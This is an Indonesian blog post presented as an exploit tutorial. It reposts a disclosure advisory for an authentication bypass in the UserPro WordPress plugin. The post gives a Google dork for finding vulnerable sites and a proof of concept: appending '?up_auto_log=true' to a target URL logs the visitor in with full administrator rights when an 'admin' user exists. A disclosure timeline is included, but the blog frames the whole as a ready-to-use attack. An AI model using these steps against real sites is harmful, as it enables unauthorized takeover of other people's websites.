WordPress Plugin Userpro - Authentication Bypass

 FazLast kali ini kembali memberikan tutorial exploit wordpress  Authentication Bypass pada pugins User Pro, exploit ini admin temukan di cxsecurity.com yang memang sudah sering update seputar webapps exploit.
 Berikut exploit  Authentication Bypass WordPress Plugin Userpro

# Exploit Title: Userpro – WordPress Plugin – Authentication Bypass
# Google Dork: inurl:/plugins/userpro
# Date: 11.04.2017
# Exploit Author: Colette Chamberland (Wordfence), Iain Hadgraft (Duke University)
# Vendor Homepage: https://codecanyon.net/item/userpro-user-profiles-with-social-login/5958681?s_rank=9
# Software Link: https://codecanyon.net/item/userpro-user-profiles-with-social-login/5958681?s_rank=9
# Version: <= 4.6.17
# Tested on: Wordpress 4.8.3
# CVE : requested, not assigned yet.

Description
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 The userpro plugin has the ability to bypass login authentication for the user
 'admin'. If the site does not use the standard username 'admin' it is not affected.
  
PoC
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1 - Google Dork inurl:/plugins/userpro

2 - Browse to a site that has the userpro plugin installed.

3 - Append ?up_auto_log=true to the target: http://www.targetsite.com/?up_auto_log=true

4 - If the site has a default 'admin' user you will now see the wp menu at the top of the site. You are now logged in
will full administrator access.
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10/25/2017 – Wordfence notified of issue by Iain Hadgraft.
10/26/2017 – Vendor resolved the issue in the plugin.
11/04/2017 - Disclosure.

 Itulah Exploit Vuln WordPress Plugin Userpro - Authentication Bypas.